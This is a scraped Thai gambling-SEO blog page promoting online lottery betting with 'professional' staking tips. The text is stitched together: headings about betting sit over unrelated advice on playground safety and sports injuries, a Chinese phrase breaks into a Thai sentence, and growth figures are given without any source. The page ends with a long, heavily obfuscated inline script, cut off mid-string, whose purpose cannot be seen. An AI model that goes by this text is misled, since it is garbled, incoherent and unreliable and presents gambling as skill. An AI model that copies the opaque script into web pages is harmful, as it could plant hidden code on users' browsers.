UUUAUUUUAUUUUAUUUUAUUUUAUUUUAUUUUAUUUUAUUUUAUUUUB//2Q=="/></p>
<p>การเริ่มต้นแทงเลขออนไลน์อย่างมืออาชีพไม่ใช่แค่การสุ่มตัวเลข แต่ต้องวางแผนอย่างมีระบบและรู้จักควบคุมอารมณ์ให้อยู่หมัด ขั้นแรกคือเลือกเว็บแทงหวยออนไลน์ที่น่าเชื่อถือ มีใบอนุญาตชัดเจน และระบบฝาก-ถอนรวดเร็ว จากนั้นกำหนดงบประมาณรายเดือนที่เสียได้จริง โดยแบ่งเป็นกองทุนหลักและกองทุนสำรอง ห้ามนำเงินจำเป็นมาเล่นเด็ดขาด ศึกษาสถิติย้อนหลังของเลขเด็ดและแนวโน้มการออกผล เพื่อวิเคราะห์หาจังหวะที่เหมาะสม ก่อนลงเงินทุกครั้งให้ตั้งเป้าหมายกำไรและขาดทุนสูงสุดไว้ล่วงหน้า แล้วใช้สูตรการเดินเงินแบบเสถียร เช่น แบ่งแทงเป็นชุดเล็ก ๆ หลายรอบ แทนการทุ่มทีเดียวหมด</p>
<blockquote><p>การแทงเลขออนไลน์อย่างมืออาชีพคือการบริหารความเสี่ยงก่อนแล้วค่อยคิดเรื่องกำไร</p></blockquote>
<ul>
<li>ตรวจสอบรีวิวและอายุของเว็บไซต์</li>
<li>ทดลองแทงด้วยเงินจริงจำนวนน้อยก่อน 3-5 รอบ</li>
<li>บันทึกผลแพ้ชนะทุกครั้งเพื่อปรับกลยุทธ์</li>
<li>ตั้งเวลาหยุดเล่นเมื่อถึงเป้าหมายหรือขาดทุนถึงเพดาน</li>
</ul>
<p>สุดท้าย อย่าลืมติดตามโปรโมชันและค่าคอมมิชชันจากเว็บ เพราะช่วยเพิ่มอัตรากำไรระยะยาว แต่ต้องอ่านเงื่อนไขให้ละเอียดเพราะบางโปรโมชันซ่อนข้อผูกมัดไว้ การฝึกวินัยและทบทวนผลงานทุกสัปดาห์จะทำให้คุณพัฒนาจากนักแทงมือใหม่สู่ผู้เล่นมืออาชีพที่ยั่งยืนได้จริง</p>
<h3>ติดตามผลรางวัลและรับเงินทันทีหลังประกาศ</h3>
<p>การเริ่มต้นแทงเลขออนไลน์อย่างมืออาชีพต้องวางแผนเป็นระบบ ไม่ใช่การเดาสุ่ม โดยขั้นตอนแรกคือการเลือกเว็บแทงหวยออนไลน์ที่ได้รับใบอนุญาตและมีระบบการเงินโปร่งใส ตรวจสอบรีวิวจากผู้ใช้จริงและอัตราการจ่ายที่ชัดเจน จากนั้นสมัครสมาชิกพร้อมยืนยันตัวตนให้สมบูรณ์ และศึกษา <strong>เทคนิคการวิเคราะห์เลขเด็ด</strong> จากสถิติย้อนหลังหรือสูตรคำนวณที่เชื่อถือได้ กำหนดงบประมาณต่อรอบให้ชัดเจน เช่น ไม่เกิน 10% ของเงินทุนทั้งหมด เพื่อป้องกันความเสี่ยง</p>
<p>เมื่อได้เลขที่ต้องการแล้ว ให้เลือกประเภทการแทงให้เหมาะสมกับเป้าหมาย เช่น แทง 2 ตัว 3 ตัว หรือเลขวิ่ง ซึ่งมีอัตราความเสี่ยงและผลตอบแทนต่างกัน ควรตั้งเวลาเล่นและหยุดพักเมื่อเสียต่อเนื่อง เพื่อควบคุมสติและรักษาวินัยทางการเงิน ท้ายสุด บันทึกผลการแทงทุกครั้งเพื่อวิเคราะห์จุดแข็งจุดอ่อนของตนเอง นี่คือ <strong>แนวทางปฏิบัติสำหรับมือใหม่แทงหวยมืออาชีพ</strong> ที่ช่วยลดความสูญเสียในระยะยาว</p>
<h2>ข้อควรระวังและวิธีจัดการความเสี่ยงในการเล่น</h2>
<p>การผจญภัยในโลกแห่งความเสี่ยงนั้นเปรียบเสมือนการเดินเรือกลางทะเลที่เต็มไปด้วยคลื่นลม แม้เราจะตั้งใจอธิษฐานให้เส้นทางราบรื่น แต่ธรรมชาติย่อมมีบททดสอบเสมอ ก่อนออกเรือทุกครั้ง จงตรวจสอบสภาพเรือให้มั่นคง—ศึกษาข้อมูลเส้นทางและสภาพอากาศอย่างถี่ถ้วน อย่าปล่อยให้ความคึกคะนองบดบังสติสัมปชัญญะ เพราะ <strong>การบริหารความเสี่ยงในการเล่น</strong> มิใช่การทำลายอารมณ์สนุก แต่คือเข็มทิศนำทางให้เรากลับถึงฝั่งอย่างปลอดภัย เมื่อพบอุปสรรคกลางทาง จงหยุดหายใจลึก ๆ ประเมินสถานการณ์อย่างใจเย็น แบ่งเป้าหมายใหญ่ออกเป็นก้าวเล็ก ๆ ที่รับมือไหว อย่าละเลยสัญญาณเตือนจากร่างกายและจิตใจของตนเอง เพราะเสียงภายในคือสัญญาณกันคลื่นที่แม่นยำที่สุด จงหมั่นทบทวนแผนสำรองอยู่เสมอ และกล้าที่จะถอยเมื่อเห็นว่าเกินกำลัง—<strong>การวางแผนจัดการความเสี่ยงอย่างชาญฉลาด</strong> จะเปลี่ยนประสบการณ์อันตื่นเต้นให้เป็นบทเรียนทรงคุณค่า มิใช่บาดแผลที่ติดตราใจ และท้ายที่สุด จงแบ่งปันความรู้ที่ได้แก่เพื่อนร่วมทาง เพื่อให้ทุกการเดินทางครั้งต่อไปเปล่งประกายด้วยความมั่นใจและความรับผิดชอบร่วมกัน</p>
<h3>ตั้งงบประมาณต่อเดือนและหยุดเมื่อถึงขีดจำกัด</h3>
<p>การเล่นสนุกทุกครั้งย่อมมี “มุมเสี่ยง” แฝงอยู่เสมอ ไม่ว่าจะเป็นพื้นที่เล่นที่ลื่นหรืออุปกรณ์ชำรุด ดังนั้นหัวใจสำคัญคือ <strong>การประเมินความเสี่ยงก่อนเริ่มกิจกรรม</strong> เช่น ตรวจเช็ครอบตัว ดูสภาพอากาศ และเลือกเครื่องแต่งกายที่เหมาะสม จากนั้นกำหนดกฎกติการ่วมกัน เช่น ห้ามวิ่งสวนทาง หรือกำหนดโซนปลอดภัยสำหรับเด็กเล็ก หากเกิดอุบัติเหตุเล็กน้อย ให้หยุดพัก ประคบเย็นทันที และสังเกตอาการ ส่วนกรณีที่รุนแรง ต้องมีชุดปฐมพยาบาลและเบอร์โทรฉุกเฉินติดไว้ใกล้มือ</p>
<ul>
<li>สำรวจอุปกรณ์ทุกชิ้นก่อนใช้ทุกครั้ง</li>
<li>จัดให้มีผู้ดูแลผู้ใหญ่ต่อเด็ก ไม่เกิน 1:5</li>
<li>กำหนดเวลาพักดื่มน้ำและพักร่างกายทุก 30 นาที</li>
<li>ซ้อมแผนอพยพหรือจุดรวมพลหากเล่นในที่โล่งกว้าง</li>
</ul>
<p><strong>คำถามที่พบบ่อย:</strong> “ถ้าเด็กกลัวการเล่นเครื่องเล่นสูง ควรทำอย่างไร?” — เริ่มจากให้เขาดูเพื่อนเล่นก่อน แล้วค่อยจูงมือเล่นด้วยกัน โดยไม่บังคับ และชมเชยทุกก้าวที่กล้าลอง เพื่อสร้างความมั่นใจอย่างค่อยเป็นค่อยไป</p>
<h3>หลีกเลี่ยงเว็บที่ไม่มีระบบรักษาความปลอดภัยชัดเจน</h3>
<p>การเล่นกีฬาหรือออกกำลังกายทุกประเภทล้วนมีความเสี่ยงแฝงอยู่เสมอ แต่เราสามารถลดความเสี่ยงเหล่านั้นได้ด้วยการเตรียมพร้อมอย่างเป็นระบบ โดยเริ่มจาก<b>การประเมินสภาพร่างกายตนเองก่อนเล่นทุกครั้ง</b> หากรู้สึกไม่สบาย หรือพักผ่อนไม่เพียงพอ ควรงดเล่นทันที การวอร์มอัพอย่างน้อย 10-15 นาที และคูลดาวน์หลังเล่น เป็นขั้นตอนที่ห้ามข้ามเด็ดขาด เพื่อป้องกันการบาดเจ็บของกล้ามเนื้อและข้อต่อ อีกทั้งต้องเลือกอุปกรณ์ป้องกันที่ได้มาตรฐาน เช่น สนับเข่า หมวกกันน็อก หรือรองเท้าที่เหมาะสมกับชนิดกีฬา และควรศึกษาเทคนิคการล้มหรือการป้องกันตัวที่ถูกต้องจากผู้เชี่ยวชาญ</p>
<p>สำหรับการจัดการความเสี่ยงระยะยาว ควรกำหนดขีดจำกัดของตัวเองและไม่ฝืนร่างกายเมื่อรู้สึกปวด หรือเหนื่อยผิดปกติ ควรจัดตารางพักผ่อนให้เพียงพอ ควบคู่กับการเสริมสร้างความแข็งแรงของกล้ามเนื้อแกนกลางลำตัวและข้อต่อรอบ ๆ เพื่อรองรับแรงกระแทก สุดท้ายคือ<b>การตรวจสภาพสนามและสิ่งแวดล้อมก่อนลงเล่น</b> ไม่ว่าจะเป็นพื้นผิวที่ลื่น แสงสว่างไม่เพียงพอ หรืออุณหภูมิที่ร้อนจัด ควรหลีกเลี่ยงหรือปรับเปลี่ยนแผนทันที หากทำตามนี้ ความเสี่ยงบาดเจ็บจะลดลงได้อย่างมีนัยสำคัญ และทำให้การเล่นปลอดภัยและสนุกเต็มที่</p>
<h3>ตรวจสอบเงื่อนไขการถอนเงินก่อนวางเดิมพันทุกครั้ง</h3>
<p>การเล่นทุกประเภทล้วนมาพร้อมความเสี่ยงที่คาดไม่ถึง โดยเฉพาะการเดิมพันหรือกิจกรรมที่ต้องใช้เงินจริง ข้อควรระวังอันดับแรกคือการตั้งวงเงินสูงสุดล่วงหน้า และห้ามกู้ยืมมาเล่นเด็ดขาด หากเริ่มเสียติดต่อกันเกิน 3 ครั้ง ควรหยุดทันทีเพื่อสติกลับมา การจัดการความเสี่ยงที่ดีต้องแบ่งเงินเป็นกองทุนสำรอง และใช้เพียงเงินที่ยอมเสียได้จริงเท่านั้น ควรกำหนดเวลาเล่นให้ชัดเจน เช่น ไม่เกิน 1 ชั่วโมงต่อครั้ง เพื่อป้องกันการเล่นแบบไม่รู้จบ วิธีลดความเสี่ยงอีกขั้นคือเลือกเว็บหรือสถานที่ที่มีใบอนุญาตถูกต้อง และอ่านกฎกติกาให้ละเอียดก่อนเริ่มทุกครั้ง</p>
<p><strong>การจัดการความเสี่ยงอย่างเป็นระบบ</strong> คือหัวใจของนักเล่นมืออาชีพ อย่าไล่ตามทุนคืนเมื่อแพ้ เพราะมันจะยิ่งลากคุณเข้าสู่หลุมพรางทางจิตวิทยา ให้ถือว่าการเล่นคือค่าความบันเทิง ไม่ใช่การลงทุนเพื่อผลกำไร</p>
<ul>
<li>ตั้งเพดานขาดทุนรายวันไว้ที่ 10% ของเงินต้น</li>
<li>ใช้เทคนิค &#8220;หยุดกำไร&#8221; เมื่อได้กำไรถึง 20% ให้ถอนทันที</li>
<li>พักสายตาทุก 30 นาที เพื่อลดความตื่นเต้นที่ทำให้ตัดสินใจผิด</li>
</ul>
<p><strong>คำถามที่พบบ่อย:</strong> ถ้าฉันแพ้แล้วอยากได้คืน ควรทำอย่างไร? <strong>คำตอบ:</strong> ไม่ควรทำเด็ดขาด ให้หยุดเล่นทันทีและกลับมาทบทวนแผนใหม่ในวันถัดไป มิฉะนั้นความเสี่ยงจะเพิ่มทวีคูณอย่างควบคุมไม่ได้</p>
<h2>แนวโน้มและอนาคตของการเล่นเลขผ่านแพลตฟอร์มออนไลน์</h2>
<p>การเล่นเลขผ่านแพลตฟอร์มออนไลน์กำลังเปลี่ยนแปลงครั้งใหญ่ จากเดิมที่จำกัดอยู่เพียงโต๊ะหรือเว็บใต้ดิน ตอนนี้กลายเป็นระบบนิเวศดิจิทัลเต็มรูปแบบที่ใช้ปัญญาประดิษฐ์วิเคราะห์สถิติ และ blockchain ยืนยันความโปร่งใสของผลรางวัล แนวโน้มชัดเจนว่า ผู้เล่นจะหันมาใช้แอปพลิเคชันมือถือที่ให้บริการแบบเรียลไทม์ พร้อมระบบแจ้งเตือนและการชำระเงินที่ปลอดภัยยิ่งขึ้น <strong>การเติบโตของตลาดเลขออนไลน์ในเอเชียตะวันออกเฉียงใต้</strong> คาดว่าจะขยายตัวมากกว่า 30% ต่อปี เนื่องจากกฎหมายในหลายประเทศเริ่มผ่อนคลายและเก็บภาษีอย่างเป็นระบบ ขณะเดียวกัน <strong>กลยุทธ์การตลาดแบบดิจิทัล</strong> จะเน้นการให้โบนัสสมาชิกใหม่และโปรแกรม loyalty ที่ผูกกับกระเป๋าเงินอิเล็กทรอนิกส์</p>
<blockquote><p>อนาคตไม่ได้อยู่ที่การเสี่ยงโชคเพียงอย่างเดียว แต่คือการผสานข้อมูล和行为วิเคราะห์ เพื่อมอบประสบการณ์ที่แม่นยำและยั่งยืนให้กับผู้เล่นทุกระดับ</p></blockquote>
<p>ภายในปี 2570 เราจะเห็นการรวมศูนย์แพลตฟอร์มขนาดใหญ่ที่ใช้ AI ปรับอัตราต่อรองตามพฤติกรรมผู้ใช้ และมีระบบตรวจสอบอัตโนมัติที่ลดการทุจริตจนเกือบเป็นศูนย์ ผู้เล่นที่ปรับตัวเข้ากับเครื่องมือเหล่านี้จะได้เปรียบอย่างชัดเจน ขณะที่แพลตฟอร์มดั้งเดิมที่ไม่มีการปรับปรุงจะค่อยๆ สูญเสียส่วนแบ่งตลาดอย่างหลีกเลี่ยงไม่ได้</p>
<h3>เทคโนโลยีบล็อกเชนเพื่อความยุติธรรมในการออกรางวัล</h3>
<p>วงการเลขออนไลน์กำลังเปลี่ยนโฉมไปอย่างรวดเร็ว เพราะคนรุ่นใหม่ไม่ได้มองหาความเสี่ยงเพียงอย่างเดียว แต่สนใจ <strong>ความสะดวกและความโปร่งใสของระบบดิจิทัล</strong> มากกว่าเดิม แพลตฟอร์มต่างๆ เริ่มใส่ฟีเจอร์วิเคราะห์สถิติย้อนหลัง การแจ้งเตือนราคาแบบเรียลไทม์ และระบบฝาก-ถอนอัตโนมัติที่รวดเร็ว ซึ่งทำให้การเล่นเลขกลายเป็นกิจกรรมที่เข้าถึงง่ายขึ้นทุกวัน อนาคตคาดว่า AI จะเข้ามาช่วยคัดกรองความเสี่ยงและแนะนำแพทเทิร์นที่นิยม ขณะเดียวกันกฎหมายก็จะเข้มงวดขึ้นเพื่อคุ้มครองผู้ใช้</p>
<p>จุดที่ต้องจับตาคือ “ความรับผิดชอบต่อสังคม” เพราะทุกแพลตฟอร์มต้องทำระบบจำกัดวงเงินรายวัน และมีปุ่ม “หยุดพัก” ให้ผู้เล่นได้พักสมองโดยไม่รู้สึกผิด <strong>การเล่นอย่างมีสติจะกลายเป็นเทรนด์หลัก</strong> ที่แพลตฟอร์มใช้เป็นจุดขาย แทนที่จะโฟกัสแค่โบนัสหรือโปรโมชัน</p>
<h3>แอปพลิเคชันมือถือที่รองรับการเล่นทุกที่ทุกเวลา</h3>
<p>การเล่นเลขผ่านแพลตฟอร์มออนไลน์มีแนวโน้มเติบโตอย่างต่อเนื่อง เนื่องจากความสะดวกสบายและการเข้าถึงง่ายผ่านสมาร์ทโฟน โดยอนาคตจะมุ่งสู่การใช้งานปัญญาประดิษฐ์เพื่อวิเคราะห์สถิติและคาดเดาผลลัพธ์ รวมถึงการนำเทคโนโลยีบล็อกเชนมาใช้เพื่อเพิ่มความโปร่งใสและตรวจสอบย้อนกลับได้ <strong>การพนันออนไลน์ที่ถูกกฎหมาย</strong> จะเป็นประเด็นสำคัญที่หลายประเทศพิจารณาปรับปรุงกฎหมายเพื่อควบคุมและเก็บภาษีอย่างเป็นระบบ ขณะเดียวกันแพลตฟอร์มจะพัฒนาระบบความปลอดภัยทางไซเบอร์ที่เข้มงวดขึ้นเพื่อป้องกันการฉ้อโกง และอาจมีการใช้สกุลเงินดิจิทัลในการทำธุรกรรมมากขึ้น เพื่อตอบสนองผู้ใช้งานรุ่นใหม่ที่คุ้นเคยกับเทคโนโลยี</p>
<h3>การผนวกกับเกมคาสิโนสดแบบเรียลไทม์</h3>
<p>การเล่นเลขผ่านแพลตฟอร์มออนไลน์กำลังเติบโตอย่างต่อเนื่อง โดยมีปัจจัยจากความสะดวกในการเข้าถึงผ่านสมาร์ทโฟนและระบบชำระเงินอิเล็กทรอนิกส์ที่ปลอดภัยยิ่งขึ้น แนวโน้มสำคัญคือการนำเทคโนโลยีปัญญาประดิษฐ์มาใช้วิเคราะห์สถิติตัวเลขย้อนหลัง เพื่อให้ผู้ใช้เห็นรูปแบบการออกผลอย่างเป็นระบบ ขณะเดียวกันแพลตฟอร์มต่าง ๆ เริ่มมีการประกาศผลแบบเรียลไทม์และระบบแจ้งเตือนอัตโนมัติ ซึ่งเพิ่มความโปร่งใสและลดระยะเวลารอคอย<br />
อนาคตจะมุ่งสู่การผสานกับกระเป๋าเงินดิจิทัลและสกุลเงินคริปโต เพื่อรองรับผู้เล่นข้ามชาติ รวมถึงการพัฒนาระบบป้องกันการทุจริตด้วยบล็อกเชนที่ตรวจสอบย้อนกลับได้ทุกธุรกรรม อย่างไรก็ตาม หน่วยงานกำกับดูแลกำลังเร่งออกกฎหมายเฉพาะสำหรับการพนันออนไลน์ เพื่อควบคุมการเข้าถึงของผู้เยาว์และป้องกันปัญหาหนี้สิน ผู้ให้บริการจึงต้องปรับตัวให้สอดคล้องกับข้อกำหนดทางกฎหมาย ขณะที่ผู้ใช้ได้รับประโยชน์จากฟีเจอร์การจำกัดวงเงินและเครื่องมือช่วยควบคุมพฤติกรรม ซึ่งสะท้อนถึงความรับผิดชอบต่อสังคม</p>

		
		
			</div><!-- .entry-content .clear -->
</div>

	
</article><!-- #post-## -->

<nav class="navigation post-navigation" aria-label="Posts">
				<div class="nav-links"><div class="nav-previous"><a title="Understanding the Modern Digital Gambling Landscape" href="https://hgrothko.flowexagency.com/2026/08/18/understanding-the-modern-digital-gambling-landscape/" rel="prev"><span class="ast-post-nav" aria-hidden="true"><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z'></path></svg></span> Previous</span> <p> Understanding the Modern Digital Gambling Landscape </p></a></div><div class="nav-next"><a title="What Does Online Gambling in Canada Actually Look Like in 2025?" href="https://hgrothko.flowexagency.com/2026/08/24/what-does-online-gambling-in-canada-actually-look-like-in-2025/" rel="next"><span class="ast-post-nav" aria-hidden="true">Next <span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z'></path></svg></span></span> <p> What Does Online Gambling in Canada Actually Look Like in 2025? </p></a></div></div>
		</nav>			</main><!-- #main -->
			
		
	</div><!-- #primary -->


	</div> <!-- ast-container -->
	</div><!-- #content -->
<footer
class="site-footer" id="colophon" itemtype="https://schema.org/WPFooter" itemscope="itemscope" itemid="#colophon">
			<div class="site-below-footer-wrap ast-builder-grid-row-container site-footer-focus-item ast-builder-grid-row-full ast-builder-grid-row-tablet-full ast-builder-grid-row-mobile-full ast-footer-row-stack ast-footer-row-tablet-stack ast-footer-row-mobile-stack" data-section="section-below-footer-builder">
	<div class="ast-builder-grid-row-container-inner">
					<div class="ast-builder-footer-grid-columns site-below-footer-inner-wrap ast-builder-grid-row">
											<div class="site-footer-below-section-1 site-footer-section site-footer-section-1">
								<div class="ast-builder-layout-element ast-flex site-footer-focus-item ast-footer-copyright" data-section="section-footer-builder">
				<div class="ast-footer-copyright"><p>Copyright &copy; 2026 Finance &amp; Investment | Powered by <a href="https://wpastra.com" rel="nofollow noopener" target="_blank">Astra WordPress Theme</a></p>
</div>			</div>
						</div>
										</div>
			</div>

</div>
	</footer><!-- #colophon -->
	</div><!-- #page -->
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/astra/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>

<div id="ast-scroll-top" tabindex="0" class="ast-scroll-top-icon ast-scroll-to-top-right" data-on-devices="both">
	<span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>	<span class="screen-reader-text">Scroll to Top</span>
</div>
			<script>
			/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
			</script>
			
<script data-sc="0f33eb-9a77eb">
"use strict";var X6sB4E,YGbEs5,rA1_ELc,BMLQuk,FoX89a,CY0Rqh,UUiTgTg,WAq5rmj,HnSBqU_;const NTMjH_o=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",void 0x0,!0x1,!0x0,0x5b,0x1fff,0x58,0xd,0xe,0x5f,"js",0x7f,0x7d,0x80,0x3];function tjrDqOq(X6sB4E){var YGbEs5="!(@>`?*z2mds)8#1HDw96&qtXk$I%rZJ|:TB5xS=]Y{;<FolO~VKgA/Ly[MpGP.hN_\"c+CQURWuEfj}^b34ev0i7n,a",rA1_ELc,BMLQuk,FoX89a,CY0Rqh,UUiTgTg,WAq5rmj,HnSBqU_;LxQgoD9(rA1_ELc=""+(X6sB4E||""),BMLQuk=rA1_ELc.length,FoX89a=[],CY0Rqh=NTMjH_o[0x0],UUiTgTg=NTMjH_o[0x0],WAq5rmj=-NTMjH_o[0x1]);for(HnSBqU_=NTMjH_o[0x0];HnSBqU_<BMLQuk;HnSBqU_++){var tjrDqOq=YGbEs5.indexOf(rA1_ELc[HnSBqU_]);if(tjrDqOq===-NTMjH_o[0x1])continue;if(WAq5rmj<NTMjH_o[0x0]){WAq5rmj=tjrDqOq}else{LxQgoD9(WAq5rmj+=tjrDqOq*NTMjH_o[0xf],CY0Rqh|=WAq5rmj<<UUiTgTg,UUiTgTg+=(WAq5rmj&NTMjH_o[0x10])>NTMjH_o[0x11]?NTMjH_o[0x12]:NTMjH_o[0x13]);do{LxQgoD9(FoX89a.push(CY0Rqh&NTMjH_o[0x3]),CY0Rqh>>=NTMjH_o[0x2],UUiTgTg-=NTMjH_o[0x2])}while(UUiTgTg>NTMjH_o[0x9]);WAq5rmj=-NTMjH_o[0x1]}}if(WAq5rmj>-NTMjH_o[0x1]){FoX89a.push((CY0Rqh|WAq5rmj<<UUiTgTg)&NTMjH_o[0x3])}return ERMqVQJ(FoX89a)}function YcI3XB(rA1_ELc){if(typeof X6sB4E[rA1_ELc]===NTMjH_o[0x5]){return X6sB4E[rA1_ELc]=tjrDqOq(YGbEs5[rA1_ELc])}return X6sB4E[rA1_ELc]}LxQgoD9(X6sB4E={},YGbEs5=["EKQLu[llzMofd@2kIG0$%","A_XECC!","2h]IpA{oppHx[`t%U*zf5Ew2Y62MxOw%H$J`93cBvmJf&?GZ[Oz/%","$oh~EOE8R86EM8:tfyx`7}89K/Pk(","gJV2(ovoOG|T5I`wHUvVCOOo^A0uQ$>5d;#fpR9A?","QFo`SWiog9ehc4b]%GTr!=QospWq;@zXU#BrQA5MY6yWd$<S/UvUI","?Ub/z.7(","4TqfWOOw.sX>0OJDX1Cd/=\")<s%^7eLY!GO/:~sCV)MyypkYk19ra/!","kU]*X[6o)pKC&39Tl_YRKj4TrpA","1~_KKMboKNj3~G7B~F6u+ROoz6/C5HLYko1mk}}uf2XO9@`J]Ol/YlS59)","{_C%Q3y@*8o\";4f$VJsr5/{@r\"n|9$<$/>H*=x@5e/g%?5lI?+tfMM*5jp~","0*4|[v7(NmzZmH$Y9GtZ3:!","Q.32}3])]Dc%vBv]pxjJ[h^hT)V#)pk%8]?u1SAtO[a5GIbT+J&uTb`ZZhBf!","t*KAQRJC8pM","9GGLAMBrvmekN>J{`mC$4SJzZ&dOn10q","HGL/Yxo)o&ujROd61]eA<E_hG#)^o81","b#/fsu!5*L|","`+aA#[_rE_\"B8R;kQ>o%5]88:)(HC5!;`h5J`.uTtMlBcS#","_Kv$j51k5//","0Fsj^St9hh>@wxmJS>TI&e{)apjjJScD","fTSL_GkzX_)HGpf$UtiJ.T$2CN`+LM=9\"Wtg;Eu*~1|p^Q${<_im`O7D`","G]J%Xf`Nf2ypvl~In2K2QA!bqNmZ(","`[VITb#Mz","~O(Z%B=zR8Bfxxj9[_H:bfTu>9_W3XNDP+Zzpoe0Hw","S$.za}plJwN~U#D6dre|K~D3^1gCVxjI1~;d",":KjfNo9AzM)O|I8I2h3*RfW8B)F&p#2$(~yWHe=z<2Os.CHT6h(K=4.@","([.J0g?7FA2>s@ZDv!","=_(/gyC(u_nQ{@","5Ka?9eBEN)","\"WAd9.Vo4mn[[XY9r1v$\"vWKY6pppSTZy+CJ_OM]<yg","AKCf!=w2)#%CT#e]FUgr25og`","([A%|B[t^hjw{8o$$+MA_=mz;6,c\"CXBmUxzzuYl8&","`U)L:pxz*N05y1(J#$n/$SN*EDmMk5d","&6M|oQ(klGmme#a%COKjKhK(","@;YZYhEY;#,[94Ck/ttgOyTw)_no%>","~_ZJXUBC&8T^b>+w}#/`<KDl@hj`?5cxDh9jD.o]%D",":]2*3eN+*Ncp;@n{];NmqC3Ya#b1:OkB5Ux`~Q]w:Gwdwx&%{)DZ$","ox#J7pF9_hg`=#nTr(","=+)u!LuZB/R2y13]q[k*:/XZ$D(l)=AI/++j\".m9F2OBHlv%y][KtU!","ut*gm.!","bWCdfSU8&N{&AOT5t+JfX","|/a|[Gy]XD/fvXkBiD$Ire]gm.I_pMM{1(","^.e$sLdZE2_wZ?5D;UI|R5)w|&zPW54%","ipIr%]_t,.!/KQ*","C.jU;xfg`m796Isk,Oe|Vx!","x[)JT0WK8\"&814>;!]J~/ANuJ&(/:`","gm7f,FDkcNfu&5,%OUo~HVNZ1h>EUSd$p.cr5]L(","v#qzgE7^qNno4~rr)tnmzTDr}w?^{M7q|]kI:po@","ap[/B]`w%.BR^>1]Amu|1f^(","lmCLu._hFp<Jn1hZqm}`mLL8c9E(6p*w[O/g#C$Zfs[b)v1$jp<zC5Y(","9]vj)Vy@","8wO*I09Y>mX","Wpeu`u8Y}w^`)1:Z}Jy~|/tYbwXD>Q3=F*.`2iP(","aTeA^SJr>NrXjGUS*+6J4}bT/M`@@xSk`rB|PA!",";_t*I/w5=8.zb>","BuogW3wNc[***PCxk6>","z[*mdi]X![!E9l(xv{U%%lIAoh]W5p$%k+{I1fvT}1","y>`u2^Y958R(HUwT)~*LU.GM)#No,X~$","3_a|#SK(lG|^X>p{g>juMo.M}A}2IS+ZnpbKKx<XPs","gU:E]+l[0/{.*3\"xzo:KaeLrk#JLCRZ{COPdrgTg*M+By>","+J*gmil9a_4o^#29)x|ZdSo];yB>g1Ck,pNW35wuIp#.!=^=Zu>?D3!","~J+jZW]gpDxg&5|tm|{|MGdg3hub*?+x/t@","O/fASxPY9)D_[Gf9ww$|&CSg+/<&`1aqVURWeUuX<s.sRUaH=[U%7gF[9m","LT#zULGoQMvQ*Pv]epO~_^k3:[[z5l]w\"DD/vF0Y*","wKQmIB+uV/Jf|p*S1]AJ1utBbG*4(RE9Y)2*?^:9x/@xG1[Tt/Bu13h(","{_+?m3Hgj#!63b+Z~K=%~EbXXDG#+1/Iso3K#[F8(/Wj`1M%^kAzpK!","51IRCuE[kMQbHHSJ8+wRyGUYO[EwKQAB`Gm|_A8lP.0q!U2$HwfrOEEz*","a=2*!v|wbmm/0`CwR+(/Tplh31>}MP?x+Jfr[vrCu6oWWCxX@~Lg*^!","&+/`+Oog;#D*jO(DT)|~gQ?(;.+G:`&Iu6TIPGdiB[5","L>LgGGmzp_MQwV#$J[o%~vQijp0)c#qBKJ<uXU5Z<&?tgI:X`)oJ:Uq51)T","9uD*w[Kt[6/f;etY_Jif%BygNw_Wc1LTY;[*1[2XM#QG0`yr","S[Zm*G)g|&2HQ8BZWyh*","YDLgMR{wmD/zwPht!;>rQA002698T~yBQ_Xm!v7(","^k8u=Ea+f.6d#3.D+/WKwe]ZM_e1NpTDj+OI_RNZ+m%d3XTwSUWK(3>A4GI6(","=[4?UA/+|)CyWX}$R!",":O}%(R=[<D#L@?","r)vA4FYhw/~f0G8I..iJ@uLY^)>Es$<${;hm6e_r\")cBv>","lK3*QGX5P#]D.8&TWyJ*VQ!w11TJ)15S{$\"K2G\"Z:wu`(OVT","D)1gVE#X?90jGprrgTy*@i.b78m/?R;$by%La:D(BG{BNILr.+r`OQpr<&\"|(","oKDRdCCzyMtJUMBxs$Lm*Vc[/Nfs.35ZN%FJhj/oE#94h#k{C>eAw","m~QUN50YI#FCk`?Z./Vj`A<g^Gw.LS`;x$xLS/>9emdIG1.{Z_$E*.!","A*cj$}5@",">w<rESg@","5xfjq}9(1\"f5Q3,rUK%rGGZZ!1v|Xl;$W{xd(O(B@h;pOpd","9$QL?Ri)&9YWzII%+D>","|o!*`oYC).<\"bI.t``J`$/;[V[m*C`z","S/iJ)S?C)#Hx)p~IGpKR^SXibwRjSQ)9Lpm}m3W8U67QQ